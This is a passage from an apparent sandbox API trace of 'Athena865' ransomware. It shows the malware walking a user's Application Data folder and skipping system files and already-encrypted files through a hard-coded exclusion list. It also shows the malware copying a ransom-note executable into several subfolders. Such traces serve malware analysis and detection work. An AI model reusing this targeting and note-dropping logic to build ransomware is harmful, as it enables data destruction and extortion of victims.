nFileSizeHigh=0x0, nFileSizeLow=0xa310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F_JHQXHoFikx8FkJ.mkv.Athena865", cAlternateFileName="F_JHQX~1.ATH")) returned 1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2=".") returned 1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="..") returned 1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="windows") returned -1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="bootmgr") returned 1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="temp") returned -1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="boot") returned 1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="ids.txt") returned -1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="perflogs") returned -1 [0100.415] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865", lpString2="MSBuild") returned -1 [0100.415] lstrlenW (lpString="F_JHQXHoFikx8FkJ.mkv.Athena865") returned 30 [0100.415] lstrcpyW (in: lpString1=0x241e8a6, lpString2="F_JHQXHoFikx8FkJ.mkv.Athena865" | out: lpString1="F_JHQXHoFikx8FkJ.mkv.Athena865") returned="F_JHQXHoFikx8FkJ.mkv.Athena865" [0100.415] lstrlenW (lpString="F_JHQXHoFikx8FkJ.mkv.Athena865") returned 30 [0100.415] lstrlenW (lpString="Athena865") returned 9 [0100.415] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.415] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf4eb4740, ftCreationTime.dwHighDateTime=0x1d4c97a, ftLastAccessTime.dwLowDateTime=0x44bfce60, ftLastAccessTime.dwHighDateTime=0x1d4c5f4, ftLastWriteTime.dwLowDateTime=0xc541d020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x66f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GbpMWYbdbYVcsQiz.mp4.Athena865", cAlternateFileName="GBPMWY~1.ATH")) returned 1 [0100.415] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2=".") returned 1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="..") returned 1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="windows") returned -1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="bootmgr") returned 1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="temp") returned -1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="pagefile.sys") returned -1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="boot") returned 1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="ids.txt") returned -1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="ntuser.dat") returned -1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="perflogs") returned -1 [0100.416] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865", lpString2="MSBuild") returned -1 [0100.416] lstrlenW (lpString="GbpMWYbdbYVcsQiz.mp4.Athena865") returned 30 [0100.416] lstrcpyW (in: lpString1=0x241e8a6, lpString2="GbpMWYbdbYVcsQiz.mp4.Athena865" | out: lpString1="GbpMWYbdbYVcsQiz.mp4.Athena865") returned="GbpMWYbdbYVcsQiz.mp4.Athena865" [0100.416] lstrlenW (lpString="GbpMWYbdbYVcsQiz.mp4.Athena865") returned 30 [0100.416] lstrlenW (lpString="Athena865") returned 9 [0100.416] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.416] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc7d4f0, ftCreationTime.dwHighDateTime=0x1d4cb29, ftLastAccessTime.dwLowDateTime=0x5c9dfbe0, ftLastAccessTime.dwHighDateTime=0x1d4ce75, ftLastWriteTime.dwLowDateTime=0xc5443180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h0ScNVYm6.docx.Athena865", cAlternateFileName="H0SCNV~1.ATH")) returned 1 [0100.416] lstrcmpiW (lpString1="h0ScNVYm6.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.416] lstrcmpiW (lpString1="h0ScNVYm6.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.416] lstrcmpiW (lpString1="h0ScNVYm6.docx.Athena865", lpString2=".") returned 1 [0100.416] lstrcpyW (in: lpString1=0x241e8a6, lpString2="h0ScNVYm6.docx.Athena865" | out: lpString1="h0ScNVYm6.docx.Athena865") returned="h0ScNVYm6.docx.Athena865" [0100.416] lstrlenW (lpString="h0ScNVYm6.docx.Athena865") returned 24 [0100.416] lstrlenW (lpString="Athena865") returned 9 [0100.416] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.416] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcdeb7e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.417] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.417] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x632e5550, ftCreationTime.dwHighDateTime=0x1d4c929, ftLastAccessTime.dwLowDateTime=0xac60d2a0, ftLastAccessTime.dwHighDateTime=0x1d4c9e4, ftLastWriteTime.dwLowDateTime=0xc54692e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb890, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hp7dq.mp4.Athena865", cAlternateFileName="HP7DQM~1.ATH")) returned 1 [0100.417] lstrcmpiW (lpString1="Hp7dq.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.417] lstrcmpiW (lpString1="Hp7dq.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.417] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Hp7dq.mp4.Athena865" | out: lpString1="Hp7dq.mp4.Athena865") returned="Hp7dq.mp4.Athena865" [0100.417] lstrlenW (lpString="Hp7dq.mp4.Athena865") returned 19 [0100.417] lstrlenW (lpString="Athena865") returned 9 [0100.417] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.417] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc54692e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc54692e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0100.417] lstrcmpiW (lpString1="Identities", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.417] lstrcmpiW (lpString1="Identities", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.417] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0100.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ade8 [0100.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x501f28 [0100.417] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0100.417] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0100.417] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.418] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x475ed6e0, ftCreationTime.dwHighDateTime=0x1d4cd81, ftLastAccessTime.dwLowDateTime=0x2cc7f210, ftLastAccessTime.dwHighDateTime=0x1d4d071, ftLastWriteTime.dwLowDateTime=0xc548f440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IT45DE3gy.gif.Athena865", cAlternateFileName="IT45DE~1.ATH")) returned 1 [0100.418] lstrcmpiW (lpString1="IT45DE3gy.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.418] lstrcmpiW (lpString1="IT45DE3gy.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.418] lstrcpyW (in: lpString1=0x241e8a6, lpString2="IT45DE3gy.gif.Athena865" | out: lpString1="IT45DE3gy.gif.Athena865") returned="IT45DE3gy.gif.Athena865" [0100.418] lstrlenW (lpString="IT45DE3gy.gif.Athena865") returned 23 [0100.418] lstrlenW (lpString="Athena865") returned 9 [0100.418] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.418] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe4c0f690, ftCreationTime.dwHighDateTime=0x1d4cbfe, ftLastAccessTime.dwLowDateTime=0x90ccba60, ftLastAccessTime.dwHighDateTime=0x1d4d1bc, ftLastWriteTime.dwLowDateTime=0xc54b55a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x18c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jiY-PfMP0EW.png.Athena865", cAlternateFileName="JIY-PF~1.ATH")) returned 1 [0100.418] lstrcmpiW (lpString1="jiY-PfMP0EW.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.418] lstrcmpiW (lpString1="jiY-PfMP0EW.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.418] lstrcpyW (in: lpString1=0x241e8a6, lpString2="jiY-PfMP0EW.png.Athena865" | out: lpString1="jiY-PfMP0EW.png.Athena865") returned="jiY-PfMP0EW.png.Athena865" [0100.418] lstrlenW (lpString="jiY-PfMP0EW.png.Athena865") returned 25 [0100.418] lstrlenW (lpString="Athena865") returned 9 [0100.418] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.418] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9a147b50, ftCreationTime.dwHighDateTime=0x1d4cd23, ftLastAccessTime.dwLowDateTime=0x7eb123a0, ftLastAccessTime.dwHighDateTime=0x1d4cc82, ftLastWriteTime.dwLowDateTime=0xc54db700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x172e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KzPa.png.Athena865", cAlternateFileName="KZPAPN~1.ATH")) returned 1 [0100.418] lstrcmpiW (lpString1="KzPa.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.418] lstrcmpiW (lpString1="KzPa.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.418] lstrcpyW (in: lpString1=0x241e8a6, lpString2="KzPa.png.Athena865" | out: lpString1="KzPa.png.Athena865") returned="KzPa.png.Athena865" [0100.418] lstrlenW (lpString="KzPa.png.Athena865") returned 18 [0100.418] lstrlenW (lpString="Athena865") returned 9 [0100.418] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.418] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfcc05d80, ftCreationTime.dwHighDateTime=0x1d4c893, ftLastAccessTime.dwLowDateTime=0x7710b2c0, ftLastAccessTime.dwHighDateTime=0x1d4cfaa, ftLastWriteTime.dwLowDateTime=0xc5501860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lDYBYkmL3UqGN.png.Athena865", cAlternateFileName="LDYBYK~1.ATH")) returned 1 [0100.418] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.418] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.418] lstrcpyW (in: lpString1=0x241e8a6, lpString2="lDYBYkmL3UqGN.png.Athena865" | out: lpString1="lDYBYkmL3UqGN.png.Athena865") returned="lDYBYkmL3UqGN.png.Athena865" [0100.418] lstrlenW (lpString="lDYBYkmL3UqGN.png.Athena865") returned 27 [0100.418] lstrlenW (lpString="Athena865") returned 9 [0100.419] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.419] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x99025270, ftCreationTime.dwHighDateTime=0x1d4d11d, ftLastAccessTime.dwLowDateTime=0x5d7e98e0, ftLastAccessTime.dwHighDateTime=0x1d4c717, ftLastWriteTime.dwLowDateTime=0xc5501860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lM0oG.mp3.Athena865", cAlternateFileName="LM0OGM~1.ATH")) returned 1 [0100.419] lstrcmpiW (lpString1="lM0oG.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.419] lstrcmpiW (lpString1="lM0oG.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.419] lstrcpyW (in: lpString1=0x241e8a6, lpString2="lM0oG.mp3.Athena865" | out: lpString1="lM0oG.mp3.Athena865") returned="lM0oG.mp3.Athena865" [0100.419] lstrlenW (lpString="lM0oG.mp3.Athena865") returned 19 [0100.419] lstrlenW (lpString="Athena865") returned 9 [0100.419] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.419] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8be9b450, ftCreationTime.dwHighDateTime=0x1d4d3fe, ftLastAccessTime.dwLowDateTime=0x278558b0, ftLastAccessTime.dwHighDateTime=0x1d4c964, ftLastWriteTime.dwLowDateTime=0xc55279c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M5bIUl2zN_OE6.swf.Athena865", cAlternateFileName="M5BIUL~1.ATH")) returned 1 [0100.419] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.419] lstrcmpiW (lpString1="M5bIUl2zN_OE6.swf.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.419] lstrcpyW (in: lpString1=0x241e8a6, lpString2="M5bIUl2zN_OE6.swf.Athena865" | out: lpString1="M5bIUl2zN_OE6.swf.Athena865") returned="M5bIUl2zN_OE6.swf.Athena865" [0100.419] lstrlenW (lpString="M5bIUl2zN_OE6.swf.Athena865") returned 27 [0100.419] lstrlenW (lpString="Athena865") returned 9 [0100.419] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.419] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xc55279c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc55279c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0100.419] lstrcmpiW (lpString1="Macromedia", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.419] lstrcmpiW (lpString1="Macromedia", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.419] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Macromedia" | out: lpString1="Macromedia") returned="Macromedia" [0100.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50add0 [0100.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x53b6a0 [0100.419] lstrcatW (in: lpString1="Macromedia", lpString2="\\" | out: lpString1="Macromedia\\") returned="Macromedia\\" [0100.419] lstrcatW (in: lpString1="Macromedia\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Macromedia\\HOW TO BACK YOUR FILES.exe") returned="Macromedia\\HOW TO BACK YOUR FILES.exe" [0100.419] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\macromedia\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.420] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc554db20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0100.420] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.420] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.420] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0100.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ada0 [0100.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53b720 [0100.420] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.420] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.420] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.421] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc554db20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0100.421] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.421] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.421] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0100.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad88 [0100.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x539950 [0100.421] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0100.421] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0100.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.421] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x775e0a00, ftCreationTime.dwHighDateTime=0x1d4d05b, ftLastAccessTime.dwLowDateTime=0x43554e50, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0xc5573c80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MwQVJliyJ2rhOGkTFvdB.ots.Athena865", cAlternateFileName="MWQVJL~1.ATH")) returned 1 [0100.421] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.422] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.422] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MwQVJliyJ2rhOGkTFvdB.ots.Athena865" | out: lpString1="MwQVJliyJ2rhOGkTFvdB.ots.Athena865") returned="MwQVJliyJ2rhOGkTFvdB.ots.Athena865" [0100.422] lstrlenW (lpString="MwQVJliyJ2rhOGkTFvdB.ots.Athena865") returned 34 [0100.422] lstrlenW (lpString="Athena865") returned 9 [0100.422] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.422] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x633b8940, ftCreationTime.dwHighDateTime=0x1d4cb2d, ftLastAccessTime.dwLowDateTime=0x1e677ae0, ftLastAccessTime.dwHighDateTime=0x1d4cd21, ftLastWriteTime.dwLowDateTime=0xc5599de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nyh71GsC QVkvl2z1o.png.Athena865", cAlternateFileName="NYH71G~1.ATH")) returned 1 [0100.422] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.422] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.422] lstrcpyW (in: lpString1=0x241e8a6, lpString2="nyh71GsC QVkvl2z1o.png.Athena865" | out: lpString1="nyh71GsC QVkvl2z1o.png.Athena865") returned="nyh71GsC QVkvl2z1o.png.Athena865" [0100.422] lstrlenW (lpString="nyh71GsC QVkvl2z1o.png.Athena865") returned 32 [0100.422] lstrlenW (lpString="Athena865") returned 9 [0100.422] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.422] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b276c70, ftCreationTime.dwHighDateTime=0x1d4d4b3, ftLastAccessTime.dwLowDateTime=0x444a3380, ftLastAccessTime.dwHighDateTime=0x1d4cde7, ftLastWriteTime.dwLowDateTime=0xc5599de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x150d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quau.wav.Athena865", cAlternateFileName="QUAUWA~1.ATH")) returned 1 [0100.422] lstrcmpiW (lpString1="Quau.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.422] lstrcmpiW (lpString1="Quau.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.422] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Quau.wav.Athena865" | out: lpString1="Quau.wav.Athena865") returned="Quau.wav.Athena865" [0100.422] lstrlenW (lpString="Quau.wav.Athena865") returned 18 [0100.422] lstrlenW (lpString="Athena865") returned 9 [0100.422] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.422] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f2a530, ftCreationTime.dwHighDateTime=0x1d4c73a, ftLastAccessTime.dwLowDateTime=0xf0cf0bf0, ftLastAccessTime.dwHighDateTime=0x1d4cab1, ftLastWriteTime.dwLowDateTime=0xc55bff40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xcc40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QwfewF.jpg.Athena865", 